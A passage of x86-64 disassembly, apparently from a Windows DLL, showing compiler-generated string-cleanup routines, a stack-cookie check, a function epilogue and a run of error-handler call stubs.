call fcn.18000deb0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800085d4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800085cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087e9
call fcn.18000deb0
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x180008628
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008623
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087ef
call fcn.18000deb0
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x180008673
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000866e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087f5
call fcn.18000deb0
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1800086be
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800086b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087fb
call fcn.18000deb0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x18000870b
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008706
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000873b
call fcn.18000deb0
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.18000de90
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
int3
call fcn.1800011f0
int3
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
int3
call fcn.180015cac
nop
call fcn.180015cac
int3
call fcn.180001290
nop
call fcn.180015cac
int3
call fcn.180001290
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.1800011f0
int3
call fcn.180015cac
nop
call fcn.180015cac
int3
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
nop
call fcn.180015cac
int3